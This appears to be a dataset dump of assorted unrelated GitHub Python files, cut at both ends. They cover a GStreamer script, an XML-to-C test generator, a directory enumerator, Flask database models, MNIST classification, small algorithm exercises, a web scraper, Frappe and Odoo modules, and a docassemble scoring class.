pipeline.set_state(Gst.State.NULL)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"makepluscode/gstreamer-examples-python","sub_path":"12-rtspsrc-appsink/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"1434111050","text":"import xml.sax\nimport os\nimport sys\nimport operator\nimport subprocess\nfrom functools import reduce\n\ndebug=5\n\ndef log(lvl, arg, *args):\n\tif lvl >= debug:\n\t\tprint(arg, (lambda: args and args or \"\")())\n\treturn lvl\n\ndir='./'\n\ndef fileCommit(fname, buffer):\n global dir\n\n opfile=dir+fname[fname.rfind('/')+1:]\n fobj=open(opfile, mode='w')\n fobj.write(buffer)\n fobj.flush()\n fobj.close\n subprocess.call([\"indent\", \"%s\" %opfile])\n os.remove(\"%s~\" %opfile)\n\nclass commiter:\n def reinitElements(self):\n _f=lambda x:operator.setitem(self.elements, x, '\\n')\n list(list(map(_f, ['include', 'define', 'gvariable', 'codeMod', 'currMod'])))\n def clearElements(self):\n _f=lambda x: operator.delitem(self.elements, x)\n list(list(map(_f, ['include', 'define', 'gvariable', 'codeMod', 'currMod'])))\n def __init__(self):\n log(1, \"Initialized commiter class\")\n self.elements={}\n self.tcElements={}\n def __del__(self):\n pass\n def testType_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n self.elements[name]=attrs['type']\n def testSUT_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n self.elements[name]=attrs['lib']+\"_\"+attrs['version']\n def testMod_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n self.modName=attrs['mod']\n '''if already .h then skip .c addition'''\n self.elements[name]=self.modName+\".c\"\n self.reinitElements()\n def include_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.elements[name]+=\"\\n#include \"+attrs['value']\n def define_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.elements[name]+=\"\\n#define \"+attrs['value']\n def gvariable_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.elements[name]+=\"\\n\"+attrs['value']+\";\"\n def codeMod_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n '''re-init local variables and the testcases for\n the code module'''\n if 'func' in attrs:\n self.elements['func']=attrs['func']\n else:\n self.elements['func']=None\n operator.setitem(self.elements, 'lvariable', '\\n')\n operator.setitem(self.elements, 'testCase', '\\n')\n def currMod_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n '''re-init local variables and the testcases for\n the curr module'''\n operator.setitem(self.elements, 'lvariable', '\\n')\n operator.setitem(self.elements, 'testCase', '\\n')\n def lvariable_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.elements[name]+=\"\\n \"+attrs['value']+\";\"\n def testCase_Start(self, name, attrs):\n log(1, \"Fun \"+name+\"_Start\", attrs)\n self.tcElements['typ']=attrs['typ']\n def cmd_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def desc_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def cond_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def err_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def errStr_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def flags_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.tcElements[name]='value' in attrs and attrs['value'] or \"\"\n def testCase_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n log(2, self.tcElements)\n fun=getattr(self, \"%s_Fmt\" %self.tcElements['typ'], lambda x:False)\n self.elements[name]+=fun(self.tcElements)+\"\\n\"\n def FUN_Fmt(self, h):\n log(1, \"Inside Fun_Fmt\")\n cmd=\"\\n \"+h['cmd']+\";\\n EXEC_TSTCASE(&tstCase,\"+h['desc']+\",\"\n cmd+=h['cond']+\",\"+h['err']+\",\"+h['errStr']+\",\"+h['flags']+\");\"\n return cmd\n def ST_Fmt(self, h):\n log(1, \"Inside ST_Fmt\")\n cmd=\"\\n \"+h['cmd']+\";\\n EXEC_TSTCASE(&tstCase,\"+h['desc']+\",\"\n cmd+=h['cond']+\",\"+h['err']+\",\"+h['errStr']+\",\"+h['flags']+\");\"\n return cmd\n def IT_Fmt(self, h):\n log(1, \"Inside IT_Fmt\")\n cmd=\"\\n \"+h['cmd']+\";\\n EXEC_TSTCASE(&tstCase,\"+h['desc']+\",\"\n cmd+=h['cond']+\",\"+h['err']+\",\"+h['errStr']+\",\"+h['flags']+\");\"\n return cmd\n def SH_Fmt(self, h):\n log(1, \"Inside SH_Fmt\")\n cmd=\"\\n EXEC_SH(&tstCase,\\\"\"+h['cmd']+\"\\\",\"+h['desc']+\",\"\n cmd+=h['flags']+\");\"\n return cmd\n def statement_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n self.elements['testCase']+=\"\\n \"+attrs['value']+\"\\n\"\n def codeMod_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n if self.elements['func']:\n cm=self.elements['func']+\"\\n{\\n\"+self.elements['lvariable']+self.elements['testCase']+\"\\n}\\n\"\n else:\n cm=self.elements['lvariable']+self.elements['testCase']\n self.elements[name]+=cm\n operator.delitem(self.elements, 'lvariable')\n operator.delitem(self.elements, 'func')\n operator.delitem(self.elements, 'testCase')\n def currMod_End(self, name, attrs):\n log(1, \"Fun \"+name+\"_End\", attrs)\n cm=\"\\nvoid test_%s(void)\\n{\" %self.modName\n cm+=self.elements['lvariable']\n cm+=\"\\n\\n hdr(\\\"Testing of %s module started\\\");\" %self.modName\n cm+=self.elements['testCase']\n cm+=\"\\n hdr(\\\"Testing of %s module compleated\\\");\" %self.modName\n cm+=\"\\n}\\n\"\n self.elements[name]+=cm\n operator.delitem(self.elements, 'lvariable')\n operator.delitem(self.elements, 'testCase')\n def testMod_End(self, name, attrs):\n global dir\n\n log(1, \"Fun \"+name+\"_End\", attrs)\n _f=lambda a,b: a+'/'+self.elements[b]\n path=dir.rstrip('/')\n path+=reduce(_f, ['','testType', 'testSUT', 'testMod'])\n path=path.replace(' ','')\n path=path.replace('.h.c', '.h')\n log(2, path)\n self.purgeCommit(path)\n log(2, self.elements)\n self.clearElements()\n def purgeCommit(self, path=\" \"):\n log(1, \"Inside purgeCommit\")\n buffer=\"\\n/*Autogenerated file %s*/\" %path\n buffer+=self.elements['include']\n buffer+=self.elements['define']\n buffer+=self.elements['gvariable']\n buffer+=self.elements['codeMod']\n buffer+=self.elements['currMod']\n fileCommit(path, buffer)\n\nclass TestHandler(xml.sax.ContentHandler):\n\tdef startDocument(self):\n\t\tlog(1, \"Start of parsing\")\n\t\tself.commiter=commiter()\n\tdef endDocument(self):\n\t\tlog(1, \"End of parsing\")\n\tdef wait4Val(self, name, attr):\n\t\tself.attrBuf=attr\n\t\tself.valBuf=\"\"\n\t\tself.waitFlag=True\n\tdef startElement(self, name, attrs):\n\t\tlog(2, \"Start of element %s\" %name)\n\t\tattrdict=dict([(n, attrs.getValue(n)) for n in attrs.getNames()])\n\t\tlog(3, \"Attributes: \", attrdict)\n\t\tself.waitFlag=False\n\t\tfun=getattr(self.commiter, \"%s_Start\" %name, self.wait4Val)\n\t\tfun(name, attrdict)\n\tdef endElement(self, name):\n\t\tlog(2, \"End of element %s\" %name)\n\t\tfun=getattr(self.commiter, \"%s_End\" %name, lambda x,y:False)\n\t\tif self.waitFlag and self.valBuf:\n\t\t\tself.attrBuf['value']=self.valBuf\n\t\tfun(name, self.attrBuf)\n\t\tself.waitFlag=False\n\t\tself.valBuf=''\n\tdef characters(self, content):\n\t\tstring = content.strip()\n\t\tif string:\n\t\t\tif self.waitFlag:\n\t\t\t\tself.valBuf+=string\n\t\t\telse:\n\t\t\t\tlog(4, \"Other contents: %s\" %string)\n\ndef startDecode(stream):\n\tlog(1, \"Inside startDecode function\")\n\tsaxobj = TestHandler()\n\tsaxparser = xml.sax.make_parser()\n\tsaxparser.setContentHandler(saxobj)\n\tsaxparser.parse(stream)\n\ndef main():\n global dir\n\n log(1, \"Inside main\")\n if len(sys.argv)<=1:\n print(\"Specify xml file name. Exiting ..\")\n sys.exit(1)\n if len(sys.argv) >= 3:\n dir=sys.argv[2]\n else:\n print(\"Assuming current directory\")\n fileObj=open(sys.argv[1])\n startDecode(fileObj)\n fileObj.close()\n\nif __name__=='__main__':\n\tlog(1, \"Before calling main\")\n\tmain()\n","repo_name":"ramdrjn/virtcluster","sub_path":"TFW/TestGenerator/TestAuto_Mate/xml2code.py","file_name":"xml2code.py","file_ext":"py","file_size_in_byte":9536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41645678212","text":"import argparse\nimport os\nimport queue\nimport threading\nimport time\n\nMAX_WORK = 10\n\n\n# 获取命令行参数\ndef get_cmd_args():\n args_parser = argparse.ArgumentParser(\n description=\"python /sbin/aio/logic_service/enum_dirs.py -root path --ex_dir dir1 --ex_dir dir2\".format())\n args_parser.add_argument(\"-root\", help=\"root path\")\n args_parser.add_argument(\"--ex_dir\", help=\"exclude dir\", action='append')\n cmd_args = args_parser.parse_args()\n return cmd_args\n\n\nclass EnumDir(object):\n islink, join, isdir = os.path.islink, os.path.join, os.path.isdir\n\n def __init__(self, root_path, ex_dirs):\n self.root_path = root_path\n self.ex_dirs = ex_dirs if ex_dirs else list()\n self.dir_list = queue.Queue()\n self.size = list()\n self.all_path = list()\n\n def work(self):\n self.enum_dirs(self.root_path)\n work_list = list()\n for i in range(MAX_WORK):\n th = threading.Thread(target=self.th_work)\n work_list.append(th)\n\n for worker in work_list:\n worker.start()\n for worker in work_list:\n worker.join()\n\n def th_work(self):\n while True:\n try:\n path = self.dir_list.get(timeout=2)\n except queue.Empty:\n break\n self.enum_dirs(path)\n self.dir_list.task_done()\n\n def enum_dirs(self, dir_path):\n if self.check_valid(dir_path):\n or_files = os.listdir(dir_path)\n dirs = list()\n ok_count = 0\n for file in or_files:\n file_path = EnumDir.join(dir_path, file)\n if self.check_valid(file_path):\n ok_count += 1\n dirs.append(file_path)\n if ok_count > 1024:\n return None\n for _dir in dirs:\n self.dir_list.put(_dir)\n\n def check_valid(self, path):\n return os.path.isdir(path) and not EnumDir.islink(path) and path not in self.ex_dirs\n\n\nif __name__ == '__main__':\n args = get_cmd_args()\n root_path, ex_dirs = args.root, args.ex_dir\n st = time.time()\n EnumDir(root_path, ex_dirs).work()\n print('cost:{:.3f}s'.format(time.time() - st))\n","repo_name":"ShawnYi5/logic_service","sub_path":"enum_dirs.py","file_name":"enum_dirs.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16262706327","text":"from sqlalchemy import Column, String, Integer\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\n\nif os.environ['FLASK_ENV'] == 'production':\n database_path = os.environ['DATABASE_URL']\n if database_path.startswith(\"postgres://\"):\n database_path = database_path.replace(\n \"postgres://\", \"postgresql://\", 1)\nelse:\n database_name = \"casting_agency_db\"\n database_path = \"postgresql://{}:{}@{}/{}\".format(\n 'postgres', 'noelle', 'localhost:5432', database_name)\n\n\ndb = SQLAlchemy()\n\n'''\nsetup_db(app)\n binds a flask application and a SQLAlchemy service\n'''\n\n\ndef setup_db(app, database_path=database_path):\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = database_path\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n db.app = app\n db.init_app(app)\n db.create_all()\n\n\n'''\ndb_drop_and_create_all()\n drops the database tables and starts fresh\n can be used to initialize a clean database\n'''\n\n\ndef db_drop_and_create_all():\n db.drop_all()\n db.create_all()\n\n\n'''\nMany to many relationship beetween movies and actors\n'''\nactor_movie = db.Table('actor_movie', db.Model.metadata,\n db.Column('movie_id', db.Integer,\n db.ForeignKey('movies.id')),\n db.Column('actor_id', db.Integer,\n db.ForeignKey('actors.id'))\n )\n\n'''\nMovie\n'''\n\n\nclass Movie(db.Model):\n __tablename__ = 'movies'\n\n id = Column(Integer, primary_key=True)\n title = Column(String(255))\n release_date = Column(String)\n actors = db.relationship(\n \"Actor\",\n secondary=actor_movie,\n back_populates=\"movies\")\n\n def __init__(self, title, release_date):\n self.title = title\n self.release_date = release_date\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def format(self):\n return {\n 'id': self.id,\n 'title': self.title,\n 'release_date': self.release_date,\n }\n\n\n'''\nActor\n\n'''\n\n\nclass Actor(db.Model):\n __tablename__ = 'actors'\n\n id = Column(Integer, primary_key=True)\n name = Column(String(255))\n age = Column(Integer)\n gender = Column(String)\n movies = db.relationship(\n \"Movie\",\n secondary=actor_movie,\n back_populates=\"actors\")\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def format(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'age': self.age,\n 'gender': self.gender,\n }\n","repo_name":"kevin-it237/movie-agency-api","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14612402161","text":"from plot_mnist import *\nfrom sklearn.datasets import fetch_openml\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_score, cross_val_predict\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, precision_recall_curve, roc_curve, roc_auc_score\nimport numpy as np\n\nnp.random.seed(42)\n\nif __name__ == '__main__':\n ########## Fetch Mnist ##########\n mnist = fetch_openml('MNIST_784', version=1)\n X, y = mnist[\"data\"], mnist['target']\n print(X.shape)\n print(y.shape)\n y = y.astype(np.int)\n\n ########## Plot Mnist ##########\n # plot_digit(X[36000])\n\n plt.figure(figsize=(9, 9))\n example_images = np.r_[X[:12000:600], X[13000:30600:600], X[30600:60000:590]]\n plot_digits(example_images, images_per_row=10)\n\n ########## Mnist Data Preparation ##########\n X_train, X_test, y_train, y_test = X[:60000], X[60000:], y[:60000], y[60000:]\n shuffle_index = np.random.permutation(60000)\n X_train, y_train = X_train[shuffle_index], y_train[shuffle_index]\n\n ########## Binary Classification ##########\n y_train_5 = (y_train == 5)\n y_test_5 = (y_test == 5)\n\n sgd_clf = SGDClassifier(max_iter=5, random_state=42)\n sgd_clf.fit(X_train, y_train_5)\n\n some_digit = X[36000]\n y_train_pred = cross_val_predict(sgd_clf, X_train, y_train_5, cv=3)\n print('### Confusion matrix ###')\n print(confusion_matrix(y_train_5, y_train_pred))\n print()\n print('Precision Score : {}'.format(precision_score(y_train_5, y_train_pred)))\n print('Recall Score : {}'.format(recall_score(y_train_5, y_train_pred)))\n print('F1 Score : {}'.format(f1_score(y_train_5, y_train_pred)))\n\n y_scores = cross_val_predict(sgd_clf, X_train, y_train_5, cv=3, method=\"decision_function\")\n precisions, recalls, thresholds = precision_recall_curve(y_train_5, y_scores)\n plt.figure(figsize=(8, 4))\n plot_precision_recall_vs_threshold(precisions, recalls, thresholds)\n\n plt.figure(figsize=(8, 6))\n plot_precision_vs_recall(precisions, recalls)\n\n fpr, tpr, thresholds = roc_curve(y_train_5, y_scores)\n plt.figure(figsize=(8, 6))\n plot_roc_curve(fpr, tpr)\n\n forest_clf = RandomForestClassifier(n_estimators=10, random_state=42)\n y_probas_forest = cross_val_predict(forest_clf, X_train, y_train_5, cv=3, method=\"predict_proba\")\n y_scores_forest = y_probas_forest[:, 1]\n fpr_forest, tpr_forest, thresholds_forest = roc_curve(y_train_5, y_scores_forest)\n\n plt.figure(figsize=(8, 6))\n plt.plot(fpr, tpr, 'b:', linewidth=2, label=\"SGD\")\n plot_roc_curve(fpr_forest, tpr_forest, \"Random Forest\")\n\n print('ROC AUC Score : {}'.format(roc_auc_score(y_train_5, y_scores)))\n\n ########## Multilabel Classification ##########\n scaler = StandardScaler()\n X_train_scaled = scaler.fit_transform(X_train.astype(np.float64))\n print(\"Mnist Accuracy : {}\".format(cross_val_score(sgd_clf, X_train_scaled, y_train, cv=3, scoring=\"accuracy\")))\n print()\n\n y_train_pred = cross_val_predict(sgd_clf, X_train_scaled, y_train, cv=3)\n conf_mx = confusion_matrix(y_train, y_train_pred)\n\n print('### Confusion matrix ###')\n print(conf_mx)\n\n plot_confusion_matrix(conf_mx)\n\n row_sums = conf_mx.sum(axis=1, keepdims=True)\n norm_conf_mx = conf_mx / row_sums\n\n np.fill_diagonal(norm_conf_mx, 0)\n plot_confusion_matrix(norm_conf_mx)","repo_name":"Gil-jung/DSBookStudy","sub_path":"HandsOnML/test_mnist.py","file_name":"test_mnist.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1072424410","text":"#!/usr/bin/python\n#coding:utf-8\nimport multiprocessing\n\ndef factorial(num):\n ret =1\n for i in range(1,num+1):\n ret *= i\n return ret\n\nif __name__ == '__main__':\n l = range(1,1000)\n #l_map = map(factorial,l)\n #l_reduce = reduce(lambda x,y:x*y , l_map)\n #print l_reduce\n\n pool_size=multiprocessing.cpu_count()*2\n pool=multiprocessing.Pool(processes=pool_size)\n\n l_outputs = pool.map(factorial,l)\n\n pool.close()\n pool.join()\n\n #print l_outputs\n #print reduce(lambda x,y:x*y , l_outputs)\n","repo_name":"mingziV5/python_script","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17220725622","text":"from __future__ import unicode_literals\nimport frappe\n\ndef execute():\n\tif not frappe.db.exists('DocType', 'Has Role'):\n\t\tfrappe.rename_doc('DocType', 'Page Role', 'Has Role')\n\treload_doc()\n\tset_ref_doctype_roles_to_report()\n\tcopy_user_roles_to_has_roles()\n\tremove_doctypes()\n\ndef reload_doc():\n\tfrappe.reload_doc(\"core\", 'doctype', \"page\")\n\tfrappe.reload_doc(\"core\", 'doctype', \"report\")\n\tfrappe.reload_doc(\"core\", 'doctype', \"user\")\n\tfrappe.reload_doc(\"core\", 'doctype', \"has_role\")\n\t\ndef set_ref_doctype_roles_to_report():\n\tfor data in frappe.get_all('Report', fields=[\"name\"]):\n\t\tdoc = frappe.get_doc('Report', data.name)\n\t\tif frappe.db.exists(\"DocType\", doc.ref_doctype):\n\t\t\ttry:\n\t\t\t\tdoc.set_doctype_roles()\n\t\t\t\tfor row in doc.roles:\n\t\t\t\t\trow.db_update()\n\t\t\texcept:\n\t\t\t\tpass\n\ndef copy_user_roles_to_has_roles():\n\tif frappe.db.exists('DocType', 'UserRole'):\n\t\tfor data in frappe.get_all('User', fields = [\"name\"]):\n\t\t\tdoc = frappe.get_doc('User', data.name)\n\t\t\tdoc.set('roles',[])\n\t\t\tfor args in frappe.get_all('UserRole', fields = [\"role\"],\n\t\t\t\tfilters = {'parent': data.name, 'parenttype': 'User'}):\n\t\t\t\tdoc.append('roles', {\n\t\t\t\t\t'role': args.role\n\t\t\t\t})\n\t\t\tfor role in doc.roles:\n\t\t\t\trole.db_update()\n\ndef remove_doctypes():\n\tfor doctype in ['UserRole', 'Event Role']:\n\t\tif frappe.db.exists('DocType', doctype):\n\t\t\tfrappe.delete_doc('DocType', doctype)","repo_name":"libracore/frappe","sub_path":"frappe/patches/v8_0/rename_page_role_to_has_role.py","file_name":"rename_page_role_to_has_role.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"73598952571","text":"\r\n\r\ndef getMaxOccurringChar(s):\r\n max1 = 0\r\n maxchar = s[0]\r\n for i in range(len(s)):\r\n c=0\r\n for j in range(len(s)):\r\n if s[i] == s[j]:\r\n c=c+1\r\n\r\n if ((c>=max1) and (maxchar >= s[i])):\r\n max1=c\r\n maxchar = s[i]\r\n print(s[i], \"occurs\", c, \"times\", \"and max char is\", maxchar, \"and its count is\", max1)\r\n # print(max1,maxchar)\r\n return maxchar\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n # t = int(input())\r\n t=1\r\n for i in range(t):\r\n # s = str(input())\r\n s=\"fdsalkjhfh\"\r\n print(getMaxOccurringChar(s))\r\n# } Driver Code Ends","repo_name":"arpit456jain/gfg-11-Weeks-Workshop-on-DSA-in-Python","sub_path":"week 3/Strings/Maximum Occuring Character.py","file_name":"Maximum Occuring Character.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"18741210462","text":"import random\r\nboard = [[random.randint(0,5) for _ in range(5)] for _ in range(5)]\r\n\r\n\r\ndef path_finder(i, j):\r\n store = [[-1 for _ in range(i)] for _ in range(j)]\r\n rst = [[-1 for _ in range(i)] for _ in range(j)]\r\n for row in range(i):\r\n for col in range(j):\r\n if row == 0 and col == 0:\r\n store[row][col] = board[row][col]\r\n elif row == 0:\r\n store[row][col] = store[row][col-1] + board[row][col]\r\n rst[row][col] = '-'\r\n elif col == 0:\r\n store[row][col] = store[row-1][col] + board[row][col]\r\n rst[row][col] = '-'\r\n else:\r\n left = store[row-1][col]\r\n up = store[row][col-1]\r\n store[row][col] = min(left, up) + board[row][col]\r\n if left > up:\r\n rst[row][col] = 'left'\r\n else:\r\n rst[row][col] = 'up'\r\n for i in board:\r\n print(i)\r\n print()\r\n for i in store:\r\n print(i)\r\n print()\r\n for i in rst:\r\n print(i)\r\n return store[-1][-1]\r\n\r\nprint(path_finder(4,4))","repo_name":"SungGV/algorithmPractice","sub_path":"algorithms/Dynamic_Programming/path_finder.py","file_name":"path_finder.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6523042294","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nimport csv\n\nres = \"\"\ni = 1\n\n\ndef pars(page):\n global i, res\n\n req = requests.get(\"https://vuzopedia.ru/region/city/59?s=tekhnicheskie&page=\" + str(page)).text\n soup = BeautifulSoup(req, \"html.parser\")\n\n for card in soup.find_all(\"div\", {\"class\": [\"itemVuz\", \"itemVuzPremium\"]}):\n for content in card.find_all(class_=\"vuzesfullnorm\"):\n res += f\"https://vuzopedia.ru/{content.select_one('div > a')['href']}\\n\"\n i += 1\n\n\nfor b in range(1, 3):\n pars(b)\nwith open(\"links.txt\", \"w\") as f:\n f.write(res)\n\n\n\n\nwith open(\"links.txt\") as f:\n for link in f.readlines():\n inf_tech = requests.get(f\"{link[:-1]}/napr/43\")\n inf_security = requests.get(f\"{link[:-1]}/napr/39\")\n just_inf = requests.get(f\"{link[:-1]}/napr/91\")\n math_inf = requests.get(f\"{link[:-1]}/napr/98\")\n with open(\"res.csv\", \"a\") as csv_file:\n writer = csv.writer(csv_file)\n tmp = [inf_tech, inf_security, just_inf, math_inf]\n for el in tmp:\n if el.history:\n continue\n else:\n source = el\n break\n soup = BeautifulSoup(source.text, \"html.parser\")\n regx = re.compile(r\"в\\s+(.+?):\")\n try:\n result = re.search(regx, soup.find(class_=\"mainTitle\").text.strip()).group(1)\n writer.writerow([result])\n except AttributeError:\n writer.writerow([link])\n if inf_tech.history:\n writer.writerow(['Информатика и вычислительная техника', \"НЕТУ\"])\n else:\n soup = BeautifulSoup(inf_tech.text, \"html.parser\")\n result_1 = soup.find(\"div\", {\"class\": \"optItem\"}).find(\"p\", {\"class\": \"optTitle\"}).text\n writer.writerow(['Информатика и вычислительная техника', result_1])\n if inf_security.history:\n writer.writerow(['Информационная безопасность', \"НЕТУ\"])\n else:\n soup = BeautifulSoup(inf_security.text, \"html.parser\")\n result_2 = soup.find(\"div\", {\"class\": \"optItem\"}).find(\"p\", {\"class\": \"optTitle\"}).text\n writer.writerow(['Информационная безопасность', result_2])\n if just_inf.history:\n writer.writerow(['Прикладная информатика', \"НЕТУ\"])\n else:\n soup = BeautifulSoup(just_inf.text, \"html.parser\")\n result_3 = soup.find(\"div\", {\"class\": \"optItem\"}).find(\"p\", {\"class\": \"optTitle\"}).text\n writer.writerow(['Прикладная информатика', result_3])\n if math_inf.history:\n writer.writerow(['Прикладная математика и информатика', \"НЕТУ\"])\n else:\n soup = BeautifulSoup(math_inf.text, \"html.parser\")\n result_4 = soup.find(\"div\", {\"class\": \"optItem\"}).find(\"p\", {\"class\": \"optTitle\"}).text\n writer.writerow(['Прикладная математика и информатика', result_4])\n writer.writerow(\"\\n\")\n\n","repo_name":"WZXV/assistance-in-choosing-a-university","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73574371451","text":"import re\nimport os\nimport mimetypes\nfrom typing import Any, Dict, List, Union, Callable, Optional\nfrom docassemble.base.util import (\n log,\n DADict,\n DAList,\n DAObject,\n DAFile,\n DAFileCollection,\n DAFileList,\n defined,\n pdf_concatenate,\n zip_file,\n DAOrderedDict,\n background_action,\n action_button_html,\n include_docx_template,\n user_logged_in,\n user_info,\n send_email,\n docx_concatenate,\n get_config,\n space_to_underscore,\n DAStaticFile,\n alpha,\n showifdef,\n)\n\n__all__ = [\n 'DAScore'\n]\n\nfrom .lookup_values import get_score\nfrom .custom_dtype import LookupVariable\n\nclass DAScore(DAObject):\n \n def init(self, *pargs, **kwargs):\n super().init(*pargs, **kwargs)\n\n if not hasattr(self, 'name'):\n self.name = DAObject()\n\n if not hasattr(self, 'entry_type'):\n self.entry_type = 'score'\n\n self.datatype = 'LookupVariable'\n \n def get_score(self):\n if not hasattr(self, 'score'):\n return 'N/A'\n return self.score\n \n def get_percentile(self):\n if hasattr(self, 'score_to_qualifier'):\n self.percentile = 'N/A'\n return self.percentile\n \n if not hasattr(self, 'score'):\n return self.percentile\n \n self.percentile = get_score(value=self.score, tab_name=self.type)\n return self.percentile\n \n def get_qualifier(self):\n if hasattr(self, 'score_to_qualifier'):\n lookup_value = self.score\n lookup_column = 'score'\n tab_name = self.type\n elif self.entry_type == 'percentile':\n lookup_value = self.percentile\n lookup_column = 'percentile'\n tab_name = self.type\n else:\n lookup_value = self.percentile\n lookup_column = 'percent'\n tab_name = 'classification'\n \n self.qualifier = get_score(\n value=lookup_value, \n tab_name=tab_name, \n lookup_variable=lookup_column, \n return_variable='classification'\n )\n return self.qualifier\n \n def validate_input(self):\n try:\n self.get_percentile()\n self.get_qualifier()\n return True\n except:\n return False\n \n # self.percentile = get_score(value=self.score, tab_name=get_tab(self.name))\n # self.qual = get_score(\n # value=self.percentile, \n # tab_name='classification', \n # lookup_variable='percent', \n # return_variable='classification'\n # )\n \n ","repo_name":"danbernstein/docassemble-tJBReport","sub_path":"docassemble/tJBReport/da_score.py","file_name":"da_score.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19463518634","text":"import numpy as np\nimport copy\n\ndef max(arr):\n\tmxi = 0\n\tfor i in range(1, len(arr)):\n\t\tif abs(arr[i]) > abs(arr[mxi]):\n\t\t\tmxi = i\n\treturn mxi, arr[mxi]\n\t\t\na = np.array([[0, 1, -1], [-2, 4, -1], [-2, 5, -4]], dtype=np.float32)\n(r, c) = a.shape\n\nfor i in range(c-1):\n\tcol = a[i:c, i]\n\tp, v = max(col.tolist())\n\ttmp = copy.deepcopy(a[i, :])\n\ta[i, :] = copy.deepcopy(a[p+i, :])\n\ta[p+i, :] = copy.deepcopy(tmp)\n\nfor i in range(c-1):\n\tfor j in range(i+1, c):\n\t\tm = a[j, i] / a[i, i]\n\t\ta[j, :] = a[j, :] - m * a[i, :]\n\ndet = 1\nfor i in range(c):\n\tdet = det * a[i, i]\n\nprint(a)\nprint(det)","repo_name":"snattapongx/numerical_method","sub_path":"04_gaussian_determinant.py","file_name":"04_gaussian_determinant.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6174278417","text":"# © 2021 - today Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).\n\nfrom odoo import fields, models\n\n\nclass StockWarehouse(models.Model):\n\n _inherit = \"stock.warehouse\"\n\n interco_rule_id = fields.Many2one(\"stock.rule\", \"Inter Company Rule\")\n\n def _get_global_route_rules_values(self):\n vals = super()._get_global_route_rules_values()\n\n customer_loc, supplier_loc = self._get_partner_locations()\n route = self.env.ref(\"purchase_sale_inter_company_route.inter_company_route\")\n picking_type = self.env.ref(\n \"purchase_sale_inter_company_route.inter_company_picking_type\"\n )\n\n vals.update(\n {\n \"interco_rule_id\": {\n \"depends\": [\"delivery_steps\"],\n 